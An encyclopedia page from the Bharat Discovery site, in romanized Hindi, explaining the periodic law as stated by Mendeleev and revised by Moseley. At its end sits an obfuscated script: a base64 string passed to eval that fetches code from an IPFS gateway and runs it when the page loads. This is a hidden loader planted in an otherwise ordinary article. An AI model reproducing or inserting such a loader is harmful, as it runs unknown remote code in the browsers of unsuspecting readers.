आवर्त नियम

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search

avart niyam rasayan shastr ka ek mahatvapoorn niyam hai. 1869 ee. mean roos ke prasiddh rasayanajn maiandaliph ne isaka pratipadan kiya. is niyam ke anusar tatvoan ke bhautik evan rasayanik gun unake paramanu bharoan ke avarti phalan hote haian. arthath‌ tatvoan ko yadi unake paramanubhar ke kram mean rakha jae unake gunadharm ki punaravritti ek niyat kram mean hoti rahati hai aur saman rasayanik gunadharmavale tatv ek nishchit kram mean milate haian. adhik parishuddhatapoorvak vichar karane par yah pata chala ki paramanubhar ke kram mean tatvoan ko rakhane par bhi kuchh vishamataean rah jati haian. adhunik anusandhanoan se ab yah spasht ho gaya hai ki paramanu ka moolabhoot gun paramanu sankhya hai, paramanubhar nahian. at: mojale ne kaha ki tatvoan ke vargikaran ka adhar bhi paramanubhar ke sthan par paramanu sankhya honi chahie. usake dvara prastut adhunik avart niyam nimnalikhit hai:

tatvoan ke gunadharm unaki paramanu sankhyaoan ke avarti phalan haian. arthath‌ yadi tatvoan ko unaki paramanu sankhyaoan ke anusar rakha jay to saman gunadharmavale tatv niyamit aantar ke bad p date haian.[1]


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

  1. hindi vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 451 |

sanbandhit lekh

varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>